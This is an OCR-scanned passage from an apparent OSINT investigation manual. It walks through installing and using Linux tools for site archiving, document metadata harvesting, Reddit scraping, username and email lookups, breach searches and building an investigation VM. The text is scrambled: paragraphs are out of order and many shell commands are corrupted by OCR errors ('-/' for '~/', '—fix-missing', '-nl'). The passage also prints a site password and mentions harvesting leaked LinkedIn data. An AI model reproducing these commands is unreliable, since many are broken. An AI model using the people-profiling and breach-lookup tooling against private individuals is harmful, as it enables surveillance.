your Applications menu. When the application loads, clicking the "next" button will bring you to the project screen. Give your project a tide, preferably the website name, and choose a location to save all of the data. Click next and then "add URL". Enter the exact website that you want to archive. Do not enter any login or password. Click "next", then "finished", and you are done. The application will begin extracting all public information from the site. HTTrack is a very old program, and was never intended to function within today's latest technology. However, it still works surprisingly well on small business websites. It can also extract a surprising amount of content from large sites such as Wikipedia. 1 once used this service to extract several gigabytes of scraped I Jnkedln data from a questionable website before it disappeared, which included profiles, names, email addresses, user IDs and employment history'. This tool should always be ready in your arsenal. Tine "metadata.sh" script within your downloads prompts you for usage of all of these applications. The dialogue (with included shortcut) replicates each task presented here. Simply launch the "Metadata" icon within your Dock after you have created your final OSINT VM in the next chapter. This can take a while, depending on the size of the site. When complete, you will have an exact copy in which you can navigate and search offline. Archiving to an external drive creates a replica that can be held for future analysis. This program only works on smaller static websites, and cannot archive large dynamic sites such as social networks. There are several ways to make an exact copy of a static website and this software will walk you through the process. You may want to do this when you locate a target website and are concerned the site could be taken down. Any time that you find any content that will be used in court, you should archive the entire site. This application automates the process. The result is a locally stored copy in which you can navigate as if it were live. This is beneficial in court when internet access is not appropriate, or a website has been taken offline. The following command within a new Terminal session will download the software and configure it within your operating system. Metagoofil requirements.txt -I type at a time. If my target were cisco.com, I would execute the following commands in Terminal. 78 Chapter 4 • cd -/Downloads/Programs/metagoofil • python3 metagoofil.py -d cisco.com -t pdf -o ^/Desktop/cisco/ • python3 metagoofil.py -d cisco.com -t docx,xlsx -o -/Desktop/cisco/ • cd -/Downloads/Programs • git clone https://github.com/opsdisk/metagoofil.git • cd metagoofil • sudo -H pip install Metagoofil is a Linux option designed to locate and download documents. It does not always work perfectly, as you are at the mercy of search engines to provide the data. When Google decides to block Metagoofil, its usefulness ceases until the software receives an update. Install the software with the following steps. python3 metagoofil.py -d cisco.com -t pdf -o -/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t doc -o ~/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t xls -o ~/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t ppt -o -/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t docx -o -/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t xlsx -o ~/Desktop/cisco/ python3 metagoofil.py -d cisco.com -t pptx -o ~/Desktop/cisco/ The following Terminal commands in your Linux VM switches to the proper director}' (cd); launches Python 3 (python3); loads the script (metagoofil,py); sets the target domain (-d cisco.com); sets the file type as pdf (-t pdf); and saves the output to a new' folder called "cisco” on the Desktop (-o ~/Desktop/cisco/). The last command asks for docx and xlsx files. • If I already possess numerous documents on my computer, I create a metadata CSV spreadsheet using ExifTool. I then analyze this document. • If my target website possesses few documents, I download them within a web browser. • If my target website possesses hundreds of documents, I use Metagoofil, but only download one file This automatically downloads any found documents. We could now' analyze these documents with ExifTool as mentioned previously with the following commands within Terminal. The following commands navigate you to the director}’ with the files and then creates a report. • cd -/Desktop/cisco • exiftool * -csv > -/Desktop/cisco/Report.csv As you may suspect, I prefer to download and analyze document metadata within Linux. While the command to launch ExifTool is easy, the commands for Metagoofil can become complicated, especially when we start querying for multiple types of documents. Therefore, we will use the automated script included in the Linux downloads which are already installed. It executes Metagoofil and tries to download any documents from an entered domain. The second option will repeat that process and then create a report with all the metadata. This script is titled "metagoofil.sh". In my experience, this utility' works fairly well when NOT using a VPN, but Google may block your connection if the VPN IP address appears abusive. While writing this chapter, I could execute a full query one time. All additional queries failed due to Google’s blockage. Personally, my protocol in regard to document metadata collection and analysis is as follows. manually through Google or Bing Reddit Tools requirements.txt -I Bulk Downloader For Reddit Reddit Finder From any Terminal prompt, I can now issue a command targeting a Reddit user, such as the following. redditsfinder inteltechniques The following is an embarrassing attempt to promote my podcast which I deleted a few hours after posting. Linux Applications 79 • cd -/Documents • redditsfinder inteltechniques -pics -d • sudo apt install python3.9 • sudo -H python3.9 -m pip install bdfr -I • sudo -H pip install redditsfinder -I • cd -/Downloads/Programs • git clone https://github.com/MalloyDelacroix/DownloaderForReddit.git • cd DownloaderForReddit • sudo -H pip install python3.9 -m bdfr download -/Documents/Reddit/osint/ —subreddit osint python3.9 -m bdfr download -/Documents/Reddit/inteltechniques/ —user inteltechniques —subreddit osint This queries the Pushshift API, which is explained in a later chapter. It presents current and deleted post metadata attached to the target username within the Terminal screen. This is good, but we can do better. The following command requests even’ post I have made, regardless of deletion, along with any images I uploaded with a documentation text file, and saves the data to a folder tided "inteltechniques" within a folder tided "users" inside the Documents directory of my VM. This program specifically requires Python version 3.9, which is not available within Ubuntu 20.04 (but will be within the 22.04 released in April 2024). Because of this, you were asked to install Python 3.9 earlier. Once 22.04 is released, I will modify the scripts to ignore this version of Python. The following two commands download data from Reddit. The first retrieves up to 1000 posts within the Subreddit "osint", and saves them to a text file within the Documents folder. The second retrieves all posts by the user "inteltechniques" within the Subreddit "osint" and saves the data. I have found Reddit to become a common source for online evidence within my investigations. I will later discuss manual and semi-automated ways of locating and documenting data available on Reddit. However, automated tools take our efforts to another level and produce impressive results. Let's start with installing the required three Reddit search applications (Bulk Downloader For Reddit, Reddit Finder, and Downloader For Reddit) with the following steps. "datetime": "Wed Jun 20 2018, 02:32 PM UTC", "id": "eOznzce", "created_utc": 1529505149, "subreddit": "privacy", "score": 7, "link_id": "t3_8scj6u", "parent_id": "tl_e0zk64c", "body": New release every Friday: https://inteltechniques.com/podcast.html Downloader For Reddit Executing this graphical program is easy with the following commands. Google Earth Pro (google.com/carth) 80 Chapter 4 Subreddit Download User Download User Archive Launch Downloader • cd -/Downloads/Prograrns/DownloaderForReddit/ • python3 main.py Photos - Digital images uploaded through social networking sites Roads - Text layer of road names 3D Building - Alternative 3D view of some locations Gallery - User submitted content including YouTube videos After each script has finished, the folder containing the data is presented on your screen. Hopefully, this simplifies the usage of these great tools. • cd -/Downloads • wget http:Z/dl.google.com/dl/earth/client/current/google-earrh stable_current_amd64.deb • sudo apt install -y ./google-earth-stable_current_amd64 .deb • sudo rm google-earth-stable_current_amd64 .deb Within the application, the first step is to display your location of interest This can be accomplished by typing the address or GPS coordinates in the upper left search field. When you see your target location an ax e sc the zoom to an appropriate level, you are ready to start adding layers. By default, you will on y see e sa e imagery’ of the location. Google Maps is an online website that is discussed later. Google Earth Pro is a standalone application that takes the Google Maps data to another level. With this application, we have access to many’ mapping tools. These tools can import data from spreadsheets and help yrou visualize the content. In order to maintain the scope of open source intelligence, I will focus on only’ a few specific tools. First, we need to enter the following commands within Terminal to install the software. Click the "Add User" button in the lower left to add target Reddit user accounts. Click the "Add Subreddit" button to add target Subreddits. Double-click each and change the "Post Limit" to "Max". You can now right­ click any entry’ to download the data. Click "Database" and "Database View" to see y’our results. You can export any data from this view. This is a very’ robust program which should be explored before using it for an investigation. The menu on the left possesses options for adding new content to this view. The last box in this menu is tided "Layers". Inside this menu are several data sets that can be enabled and disabled by’ the checkbox next to each. I recommend disabling all layers and then enabling one at a time to analy'ze the data that is added to your map view. The following details will explain the layers of interest. The included script, tided "reddit.sh", automates the processes for all of these applications. Launch "Reddit Tool" from your Dock or Applications menu. It provides the following options. Figure 4.15: A Google Earth view of historic imagery from 2008. Figure 4.16: A Google Earth view of historic imagery from 2000. Linux Applications 81 to navigate than the official the past decade by providing 1 Bo I Another Google Earth feature available that is often overlooked is the Historical Imagery option. This can be activated by selecting the "clock" icon in die upper menu bar of the application. This will open a slider menu dirccdy below the icon. This slider can be moved and die result will be various satellite images of the target location taken at different times. Figure 4.15 displays a target area with the Historical Imager}7 option enabled. The view has been changed to the satellite image obtained on 05/30/2008. Usually, the quality of the images will decline as you navigate further back in time, as seen in Figure 4.16, through a satellite image obtained in 2000. This can be useful in identifying changes in the target location such as building modifications, additional vehicles, and land changes. Drug enforcement agents often use this tool to monitor suspected drug growth at a target location. ~ — J. L . While the Google Earth program is not updated often, the imagery content within is pulled dirccdy from the Google archives. It is vital within our arsenal of tools and 1 find it more pleasant Google Maps website. This resource has assisted many of my investigations over historic satellite imagery which was unavailable from any other online source. Screen Capture Kazam 82 Chapter 4 You now possess a high-resolution video of your entire session. This can be very beneficial in many scenarios. I have used this to document a specific portion of my investigation when a simple still capture would not suffice. You are a detective investigating a homicide. You find evidence online implicating your suspect. You are on a Windows computer, but all of your investigation was conducted within a Linux VM. You launch recording software on the Windows computer and record a video of your work. This video was submitted to the defense. For a brief moment, the video captured a file on your Windows desktop titled Accounts.xlsx. It is a spreadsheet containing all of your covert online accounts, has no connection to the investigation, and was not intended to be exposed. The defense makes a motion to analyze this file, as they believe it could be associated with the investigation. The judge approves, and you must share all of your covert accounts with the other side. Does this sound far-fetched? It happened to a colleague of mine in 2014. If you are using an external Mac keyboard, the Fl 3 key replicates "PrtSc". Some Windows keyboards may have a key labeled Print Scrn, Pmt Scrn, Prt Scrn, Prt Sen, Prt Scr, Prt Sc or Pr Sc. If you simply want a screenshot of your Desktop, such as evidence of your output within a Linux application, this is your best option. If you need video of your activities, we will need to install a third-party application. I previously mentioned multiple unique methods of capturing website evidence within your browser. However, you may need a more robust solution for capturing your entire screen. This can be approached from two specific avenues. First, you could record either a still or video capture of your entire computer from your host. In other words, you could use the default capturing software within your Windows or Mac machine to record video or save a screenshot of your Linux VM. I do not recommend this. Recording from your host displays evidence of your other operating system. While it would likely never be an issue, it exposes you unnecessarily. Consider the following. • PrtSc: Save a screenshot of the entire screen to the "Pictures" directory. • Shift + PrtSc: Select and save a screenshot of a specific region to the "Pictures" directory. • Alt + PrtSc: Save a screenshot of the active window to the "Pictures" directory. • Ctrl + PrtSc: Copy the screenshot of the entire screen to the clipboard. • Shift + Ctrl + PrtSc: Select and copy the screenshot of a specific region to the clipboard. • Ctrl + Alt + PrtSc: Copy the screenshot of the current window to the clipboard. I have become more paranoid of digital mistakes than necessary, but I believe we should never take chances. Therefore, I recommend that all of your screen captures be executed within your VM. Fortunately, Linux has many options. First, let's consider the default Ubuntu screenshot utilities. The following keyboard keys and key combinations create high-resolution exact screenshots of your VM. Kazam is a minimal tool for screen recording. It also includes screenshot support, but I find the native Ubuntu option easier and faster. Kazam is most suitable for getting the task done quickly without providing many options. The following steps will install and execute a Kazam capture. • In Terminal, enter sudo apt install -y kazam and strike enter. • Launch Kazam from the Applications menu (make a shortcut if desired). • Click "Capture" within the application. • After the countdown, your entire screen is being captured. • When finished, click the icon in the upper right and choose "Finish Recording". • Choose "Save for later" and click "Continue". • Choose the location for your recording, and click "Save" in the upper right. KccPassXC sudo snap install keepassxc Program Launching Scripts and Shortcuts New Programs License Linux Applications 83 receiving videos. We have only scratched the surface of the possibilities within a Linux virtual machine. New OSINT programs and scripts emerge weekly. Hopefully, this chapter has given you the foundation required to understand the installation and configuration of any future applications. The methods here can be replicated to create your own custom Linux build which works best for your investigative needs. This creates a shortcut in the Applications menu and this software behaves identical to the examples previously provided. This is only required if you want to take advantage of the browser plugin for automated entry of credentials into websites. Throughout this chapter, I have explained ways to copy my digital files into your own VM. If you have done that, you are likely in good shape. If you are missing any, you will experience problems. If any scripts are not present or seem damaged, my advice is to download a fresh copy by repeating the steps previously presented. You will then have all of the custom files within the appropriate folders. We will quickly replicate our entire VM in the next chapter. As a reminder, all of the commands required to install and configure all applications from this chapter are online at https://inteltechniques.com/osintbook9/linux.txL This allows for easier copy and paste directly into your own VM. This also presents a way for me to provide updates as needed. 1 wall announce any changes to the Linux steps on this book's landing page at https://inteltechniques.com/osintbook9. If you find an issue which needs updated, please contact us at [email protected]. The custom tools, scripts, tutorials, and files downloaded from my website are released to you for free. You may modify and use the content any way you desire, including unlimited personal and government use, as long as you respect the following restrictions. I previously mentioned KeePassXC in earlier chapters. It is a solid offline password manager which possesses an optional browser plugin. If you choose to use this within your VM, you will need to install the software with the following command in Terminal. • NonCommercial: You may not use the material for commercial purposes, including training programs. • NonDistribution: You may not distribute the material, including digital, internet, and physical distribution. It could also be used to explain a search technique through video, which can be easily replicated by the person receiving a copy. I appreciate the simplicity of this application, and the lack of any branding or logos within the All of these programs and scripts can be launched from within the Applications menu (nine dots), but I prefer to place them within my Dock. I provide more vital customizations in the next chapter, including a single command which automatically populates your Dock with every OSINT application explained throughout this entire book. Miscellaneous Repairs Program Updates | cut -d = - Troubleshooting I do not expect everything presented here to work flawlessly for Executable Files 84 Chapter 4 • cd -/Documents/scripts • chmod +x *.sh • sudo apt update —fix-missing • sudo apt -y upgrade • sudo apt —fix-broken install We have installed a lot of software and should clean up a bit. The following attempts to fix any issues we cause within all of our installations. We are not done adding new Linux applications, but I believe we have covered all the basics. Later in the book, I present an advanced Linux applications chapter which will dive deeper into automated OS1NT options. I do not expect everything presented here to work flawlessly for every' reader. 1 wish it were that simple. A ou may encounter issues. My best advice is to restart the process with which you are having the trouble, and to o\v all instructions exactly as written. Even then, you may experience frustration. The following are some ops whic have helped members of my online video training. • sudo -H pip list —outdated —format=freeze | grep f 1 I xargs -nl sudo -H pip install -U If you downloaded my scripts and copied them to your VM, they should launch without any further steps. However, if you typed your own, they likely do not possess the authority' to execute. If you have ”.sh" scripts in your "scripts" folder, the following commands in Terminal will apply the appropriate execution rights to each. • When typing in Terminal, you can hit the tab key and it will suggest all the possib e options t a with the string you have typed so far. It will also autocomplete your command if only' one option For example, if you are trying to navigate to your Dow'nloads/Programs folder, you cani just: typ ~/Dow [tab], then "Pro" [tab] to complete the command. Typing cd ~/D [tab] [tab] would bst a o starting with D. • Use the "up" arrow' key to navigate through previous commands. • "Ctrl" + "C" kills any running process, and typing "Is” displays the directory' contents., • You can copy and paste to/from Terminal, but only with right-click (not Ctrl + V ). • Keyboard arrow's will move y’ou through a Terminal command, but mouse clicks do not. • You can modify' the size of your Dock icons in Settings > Dock. After your initial installation of a Linux program, it may not function. This is usually due to a change within the online service which is queried. Updating the program will usually resolve any issues, and this is explained in the next chapter titled VM Maintenance & Preservation. However, I like to force an update of all Pip programs and dependencies after initial installation. This forces each software program to update to the most current version. This may' upset some Linux purists. My reason for this is that programs are more likely' to function with current versions of dependencies rather than outdated versions. The following command w'ill update everything. Expect to see many warnings during this process which can be ignored. These simply' declare that some applications prefer older versions of dependencies, but we will force them all to use the latest revisions. Hidden Files Large File Transfer Linux Applications 85 • Insen the USB device into your computer while the VM is running. • Eject the device from your host OS if necessary. • In rhe VirtualBox VM window, click on "Devices", "USB", and the device name. • In Ubuntu, launch the Applications menu. • Type "Disks" into the search field. • Click on the USB drive listed in the left column. • Click on any boxes within the "Volumes" section. • Click the minus (-) icon and "Delete" when prompted. • Repeat until there are no volumes present. • Click the "+" icon, click "Next", provide a name, choose "Fat", and click "Create". • Open the "Files" program in either your Dock or Applications menu. • Click on the three horizontal lines in the upper right area. • Select "Show Hidden Files". • Close the "Files" program. When you insert a USB drive into your host computer, it is immediately read by your primary operating system. Your running VM does not see the device. Within the VirtualBox menu, you can choose "Devices", then "USB", and try to click on the USB drive, if found. The issue you may face is that your host has the drive locked and will not allow the VM to take over. You can usually resolve this by ejecting the USB drive within your host. On both Windows and Mac, you should see an eject icon next to the drive or by right-clicking the device. After ejecting, attempt to load the USB device again through the VirtualBox menu. This may present another issue. If your USB device is formatted specifically for Mac or Windows, it may not be readable by Linux. I suggest specifying a USB device solely for use within this VM and formatting it in a way so that it can be read universally by any operating system. This will create a USB drive on which files can be read and written within any file system. You cannot possess files larger than 4GB in size, but I have never had an issue with that during investigations. When you insert the USB device into your computer, you can choose to allow your primary OS see it, or load it into your VM. I have found this method to be much more reliable than transferring large files through the shared folder. You should practice both techniques and pursue the most appropriate option for your investigations. By default, Ubuntu hides system files which should not normally be manipulated. You may need to see these within the Files application. The following steps allow you to see all files on the system, and the change is persistent between reboots. We have configured our VM to possess a shared folder on the Desktop. This is an avenue to transfer files from within the VM to the host and vice versa. This can be used to copy evidence from within the VM to your host for preservation to external media. I have experienced limitations with this method. If I have hundreds of large videos, I often receive errors when I try to copy all of them to my host through the shared folder. This is much more prominent in VirtualBox versus the premium option VMWare. The best solution I have found is to transfer evidence direcdy to a USB drive within the VM. If desired, you could choose this method and eliminate any shared folder on the VM. You should now have an understanding of the benefits of an OSINT virtual machine. Next, let's discuss the maintenance and preservation of all your hard work. 1 promise we are close to locking our settings in for all future investigations. 86 Chapter 5 This is my favorite chapter, let's get started. OSINT VM Creation VM Maintenance & Preservation 87 1 do not expect you to start over at the beginning of the book, but I do ask that you now repeat the steps tilth a new machine. Consider the previous chapters an education, and now we will generate a new clean environment. Ch a pt e r Fiv e VM Ma in t e n a n c e & pr e s e r v a t io n • Open VirtualBox and delete any previous VMs created from this book (if desired). • Within VirtualBox, click on the button labeled "New". • Provide a name of "OSINT Original". • Choose your desired location to save the machine on your host. • Select "Linux" as the type, "Ubuntu 64-bit" as the version, then click "Continue". • In the memory size window, move the slider to select 50% of your system memory. • Click "Continue", then click "Create". • Leave the hard disk file type as "VDI" and click "Continue". • Select the default option of "Dynamically allocated" and click "Continue". • Choose the desired size of your virtual hard drive (40GB+) then click "Create". • Click the "Settings" icon, then click the "Storage" icon. • Click the CD icon which displays "Empty" in the left menu. In the following pages, I display only the abbreviated steps taken throughout the entire previous instruction. There are no explanations or demonstrations. Consider this the cheat sheet to replicate our previous work. All Terminal commands are in this font. Afterward, I will explain many considerations for updates, backups, and locking in your "Original VM". I promise this will be much easier now that you have worked through the process. Many of the manual steps previously presented are now automated within many fewer steps here. VM Creation: Complete steps to create a standard Ubuntu VM. VM Configuration: Steps to customize this VM with privacy and OSINT considerations. VM Tools-Basic: Steps to install and configure all steps in the book up to this point. VM Tools-Advanced: Steps to install and configure the advanced Linux tools required later. VM Interface Configuration: Options to customize the appearance of your VM. VM Complete Configuration Script: A single command to replicate all of the work. VM Software Updates: Complete details to keep all of your new software updated. VM Maintenance: Steps to clone and maintain your original VM in order to preserve your work. You now likely possess a secure computer, a custom Linux VM, several Linux applications, and shortcuts to easily launch each with user prompts for data. You could begin online investigations now, but 1 have a request Delete it all. That's right, let's start over, but cheat a bit. Think about the VM you built. Did you have any issues installing software? Did you make any mistakes? Did you test the new applications with your own user data? It is likely that you slightly contaminated your perfect virtual machine while learning the process. This entire list is available on my website at https://inteltechniques.com/osintbook9/linux.txL Enter a username of "osint9” and password of "bookl43wt" (without quotes) if required for access. It should be easier to copy and paste commands from there versus typing them directly from here. These steps will change as programs are updated! I will update these steps as necessary on my website. The current "linux.txt" file on my site overrides anything here. I have split this chapter into small sections, each described below. 200%" from OSINT VM Configuration 88 Chapter 5 Click the small blue circle to the far right in the "Optical Drive" option. Select "Choose a Disk File" and choose the Ubuntu ISO previously downloaded. Click "Open" or "Choose" if prompted, then click "OK". If prompted, confirm the Ubuntu ISO. Click "Start" in the main menu and click "Start" again if prompted. Only if needed, increase screen size by clicking "View", "Virtual Screen", and "Scale to within the VirtualBox menu bar. Select "Install Ubuntu". Select your desired language and location, then click "Continue". Select "Normal Installation", "Download Updates", and "Install third party". Click "Continue". Select "Erase disk and install Ubuntu", then "Install Now". Confirm with "Continue". Choose your desired time zone and click "Continue". Enter a name, username, computer name, and password of "osint" for each. Select "Log in automatically". Allow Ubuntu to complete the installation, click "Restart Now", then press "Enter". Upon first boot, click "Skip" then "Next". Select "No" and then "Next" when asked to help improve Ubuntu. Click "Next" then "Done" to remove the welcome screen. If prompted to install updates, click "Remind me later". Power off the virtual machine. This would be a great time to either create a snapshot or clone of this machine. This was previously explained and is demonstrated again at the end of this chapter. You possess a pristine standard Ubuntu installation without any applications or customizations. You may want to return to this state at a later time in order to restart the application configuration options without the need to rebuild the entire VM. I maintain a clone of this machine which is titled "Ubuntu Install". It is available to me any time I need a fresh copy of Ubuntu. • Restart the "OSINT Original" VM. • In the VirtualBox Menu, select Devices > "Insert Guest Additions CD Image". • Click "Run" when the dialogue box pops up, provide your password when prompted, then "Authenticate". • Once the process is complete, press enter, and power off the VM (upper right menu). • In VirtualBox, select your VM and click "Settings". • In the "General" icon, click on the "Advanced" tab. • Change "Shared clipboard" and "Drag n Drop" to "Bidirectional". • In the "Display" icon, change the Video Memory to the maximum. • In the "Shared Folders" icon, click the green "+". • Click the dropdown menu under "Folder Path". • Select "Other". • Choose a desired folder on your host to share data and click "Open". • Select the "Auto-mount" option and then "OK". • Click "OK" to close the settings window. • Open Terminal and execute the following: • sudo adduser osint vboxsf • sudo apt purge -y apport • sudo apt remove -y popularity-contest • sudo apt update OSINT VM Tools-Basic 89 VM Maintenance & Preservation • Restart the "OSINT Original" VM, then launch and close Firefox. • Click the Applications Menu, launch Terminal, and execute the following commands. • sudo snap install vic • sudo apt update • sudo apt install -y ffmpeg • sudo apt install -y python3-pip • sudo -H pip install youtube-dl • sudo -H pip install yt-dlp • sudo -H pip install youtube-tool • cd -/Desktop • sudo apt install -y curl • curl -u osint9:bookl43wt -0 https: //inteltechniques.com/osintbook9/vm-files.zip • unzip vm-files.zip -d -/Desktop/ • mkdir -/Documents/scripts • mkdir -/Documents/icons • cd -/Desktop/vm-files/scripts • cp * -/Documents/scripts • cd ~/Desktop/vm-files/icons • cp * -/Documents/icons This would be an ideal time to create another snapshot or clone of this "OSINT Original" machine. You possess a standard Ubuntu installation with the appropriate configurations. Your VirtualBox settings are locked in, just in case you need to return to this state at a later time. I maintain a clone of this machine which is tided "Ubuntu Install & Configuration". It is available to me any time I need a fresh copy of Ubuntu with all settings applied for daily usage. Next, we will install our basic OSINT applications, scripts, and configurations. In the previous chapter, I explained each manual step required to install and configure dozens of applications, services, scripts, and other customizations. The following steps replicate every portion of this instruction and should simplify the creation process. Nothing in here is new, it is simply a summary of all steps. • sudo apt install -y build-essential dkms gcc make perl • sudo rcvboxadd setup • Click on "Start" to restart your Ubuntu VM. • Resize the window if desired. • Resize the VM if desired (View > Virtual Screen > Scale). • In the left Dock, right-click and eject the CD. • Click the Applications Menu (9 dots) in the lower left and launch Settings. • Click "Notifications" and disable both options. • Click the "Privacy" option, then click "Screen Lock" and disable all options. • Click "File History' & Trash", then disable the option. • Click "Diagnostics", then change to "Never". • Click the back arrow and click Power, changing "Blank Screen" to "Never". • Click "Automatic Suspend" and disable (turn off) the feature. • Close all Settings windows. • Click the Applications Menu and launch Software Updater. • Click "Install Now" to apply all updates. • If prompted, restart the VM and power off when reboot is complete. requirements.txt -I requirements.txt -I requirements.txt -I requirements.txt -I 90 Chapter 5 -r requirements.txt -I rams cd ~/Desktop/vm-files/shortcuts sudo cp * /usr/share/applications/ cd -/Desktop rm vm-files.zip rm -rf vm-files sudo -H pip install streamlink sudo -H pip install Instalooter sudo -H pip install Instaloader sudo -H pip install toutatis mkdir -/Downloads/Programs cd -/Downloads/Programs sudo apt install -y git git clone https://github.com/Datalux/Osintgram.git cd Osintgram sudo apt-get install libncurses5-dev libffi-dev -y sudo -H pip install -r requirements.txt -I make setup sudo snap install gallery-dl sudo snap connect gallery-dl:removable-media cd -/Downloads sudo apt install default-jre -y wget https://github.com/ripmeapp/ripme/releases/latest/download/ripme.jar chmod +x ripme.jar cd -/Downloads/Programs git clone https://github.com/sherlock-project/sherlock.git cd sherlock sudo -H pip install sudo -H pip install socialscan -I sudo -H pip install holehe -I cd -/Downloads/Programs git clone https://github.com/WebBreacher/WhatsMyName.git cd WhatsMyName sudo -H pip install -r : cd -/Downloads/Programs git clone https://github.com/martinvigo/email2phonenumber.git cd emai!2phonenumber sudo -H pip install ■ cd -/Downloads/Progr; git clone https://github.com/ChrisTruncer/EyeWitness.git cd EyeWitness/Python/setup sudo -H ./setup.sh sudo snap install amass cd -/Downloads/Programs git clone https://github.com/aboul31a/Sublist3r.git cd Sublist3r sudo -H pip install -r : cd -/Downloads/Programs git clone https://github.com/s0md3v/Photon.git cd Photon sudo -H pip install -r : cd -/Downloads/Programs requirements.txt -I requirements.txt -I VM Maintenance & Preservation 91 git clone https://github.com/laramies/theHarvester.git cd theHarvester sudo -H pip install sudo -H pip install testresources -I sudo -H pip install pipenv -I sudo -H pip install webscreenshot -I cd -/Downloads/Programs git clone https://github.com/Lazza/Carbonl4 cd Carbonl4 sudo -H pip install sudo add-apt-repository -y ppa:micahflee/ppa sudo apt -y update sudo apt install -y torbrowser-launcher wget https://dl.google.com/linux/direct/google-chrome- stable_current_amd64.deb sudo apt install -y ./google-chrome-stable_current_amd64.deb sudo rm google-chrome-stable_current_amd64.deb sudo apt install -y mediainfo-gui sudo apt install -y libimage-exiftool-perl sudo apt install -y mat2 sudo -H pip install xeuledoc -I cd -/Downloads/Programs sudo apt install subversion -y git clone https://github.com/GuidoBartoli/sherloq.git cd sherloq/gui sudo -H pip install -r requirements.txt -I sudo apt install -y webhttrack cd -/Downloads/Programs git clone https://github.com/opsdisk/metagoofil.git cd metagoofil sudo -H pip install -r requirements.txt -I sudo apt install python3.9 sudo -H python3.9 -m pip install bdfr -I sudo -H pip install redditsfinder -I cd -/Downloads/Programs git clone https://github.com/MalloyDelacroix/DownloaderForReddit.git cd DownloaderForReddit sudo -H pip install -r requirements.txt -I wget http://dl.google.com/dl/earth/client/current/ google-earth-stable_current_amd64.deb sudo apt install -y ./google-earth-stable_current_amd64.deb sudo rm google-earth-stable_current_amd64.deb sudo apt install -y kazam sudo snap install keepassxc sudo apt update —fix-missing sudo apt -y upgrade sudo apt —fix-broken install sudo -H pip list —outdated —format=freeze | grep -f 1 | xargs -nl sudo -H pip install -U cd -/Desktop programs and scripts as previously explained. Figure 5.01 display* Figure 5.01: A custom Ubuntu Applications menu with new apps. OSINT VM Tools-Advanced REQUIREMENTS -I requirements.txt -I 92 Chapter 5 • curl -u osint9:bookl43wt -0 https://inteltechniques.com/osintbook9/ff- template.zip • unzip ff-template.zip -d -/.mozilla/firefox/ • cd -/.mozilla/firefox/ff-template/ • cp -R * -/.mozilla/firefox/*.default-release • cd -/Desktop • curl —u osint9:bookl43wt -0 https: //inteltechniques. com/osintbook9/tools. zip • unzip tools.zip -d -/Desktop/ • rm tools.zip ff-template.zip Next, lets apply the "advanced" settings which are explained later in the book. We want a complete machine which can be locked-in" for future use. The following steps prepare your VM for future chapters. You should now possess a virtual machine which includes ever}’ script, icon, shortcut, application, and configuration discussed within this book so far. While you may feel tempted to play around with your new VM, please don t. We want to keep it clean and have more work to finish. If you launch your Applications menu, you should see new programs and scripts as previously explained. Figure 5.01 displays a small portion of the menu. • cd -/Downloads/Programs • git clone https://github.com/lanmaster53/recon-ng.git • cd recon-ng • sudo -H pip install -r 1 • cd -/Downloads/Programs • git clone https://github.com/smicallef/spiderfoot.git • cd spiderfoot • sudo -H pip install -r • cd -/Downloads/Programs • git clone https://github.com/AmIJesse/Elasticsearch-Crawler.git • sudo -H pip install nested-lookup -I • sudo -H pip install internetarchive -I • sudo apt install -y ripgrep • sudo -H pip install waybackpy -I • sudo -H pip install search-that-hash -I • sudo -H pip install h8mail -I • cd -/Downloads • h8mail -g • sed -i 's/\;leak\-lookup\_pub/leak\-lookup\_pub/g' h8mail_config.ini • cd -/Downloads/Programs • git clone https://github.com/mxrch/ghunt • cd ghunt • sudo -H pip install -r requirements.txt -I ® @ © © A O Ubuntu Software Update Scrlofc Username/Ema.. Video Downloa... Video Stream T— Video Utilities OSINT VM Interface Configuration icon size. These commands are included in the previously mentioned "linux.txt" file. VM Maintenance & Preservation 93 You should now have an OSINT VM which is ready for the Advanced Linux techniques discussed much later in the book. It will be convenient to maintain a single OSINT VM which is applicable to this entire book instead of "Basic” and "Advanced" versions. We have a lot to get through before we are ready for the advanced section, but we will be able to pick up where we left off without any additional installation or configuration. We can focus only on the usage of these tools without redundant explanation of script creation, icon placement, and desktop shortcuts. source of any clones used for investigations. I keep it Now that your VM contains numerous custom scripts and applications, you may want to customize the appearance. You could open the Applications menu, right-click on each new OSINT shortcut, and add them to your Dock, but that is very time-consuming. The following commands change the background; clear the entire Dock; adjust the Dock position; place all desktop shortcuts within your Dock for easy access; and decrease the 'T'l-.nr>c nrn i nr-l 11 <4 in tnp nrpizmiicltr mpnfinnpd "llnuv rvf t i1a » • OSINT Original: My final VM which is the updated and apply any changes as needed. • Ubuntu Install: A VM which only contains a basic installation of Ubuntu. 1 keep a snapshot available which 1 can revert to if 1 use this machine to experiment with Ubuntu configurations. • Ubuntu Install & Configuration: A VM of Ubuntu with all custom settings and VirtualBox tools installed. I also keep a snapshot ready here. I can test new software without worry of any conflicts from my final VM. You should now possess a final OSINT VM ready to clone for any investigation. Keep this machine updated and only use it to clone into additional machines for each investigation. Never browse the internet or conduct any investigations from within this clean VM. At the time of this writing, 1 possessed three VMs within VirtualBox, as follows, and seen in Figures 5.02 and 5.03. Your Linux Ubuntu VM is now completely functional but not very pretty. You might prefer it this way. Many Linux experts enjoy the bland look and requirements to hunt for features as needed. 1 do not The next section simplifies several modifications to the graphical interface. • gsettings set org.gnome.desktop.background picture-uri 11 • gsettings set org.gnome.desktop.background primary-color 'rgb(66, 81, 100) ' • gsettings set org.gnome.shell favorite-apps [] • gsettings set org.gnome.shell.extensions.dash-to-dock dock-position BOTTOM • gsettings set org.gnome.shell favorite-apps " [ ’firefox.desktop’, 'google-chrome.desktop', ’torbrowser.desktop’, ' org. gnome. Nautilus. desktop ’, ’ org. gnome. Terminal. desktop', ’updates.desktop', 'tools.desktop', ' youtube_dl.desktop', 'ffmpeg.desktop', 'streamlink.desktop', • instagram.desktop', 'gallery.desktop’, 'usertool.desktop', 'eyewitness.desktop', 'domains.desktop', 'metadata.desktop', 'httrack.desktop', 'metagoofil.desktop', 'elasticsearch.desktop', 'reddit.desktop', 'internetarchive.desktop', 'spiderfoot.desktop', 'recon-ng.desktop', 'mediainfo-gui.desktop', 'google-earth-pro.desktop', 'kazam.desktop', ' keepassxc_keepassxc. desktop', ' gnome-control-center.desktop' ] " • gsettings set org.gnome.shell.extensions.dash-to-dock dash-max-icon-size 32 0 0 0 Show »-a Preview L= Acceleration: UL'V'* J md appearance. OSINT VM Complete Configuration 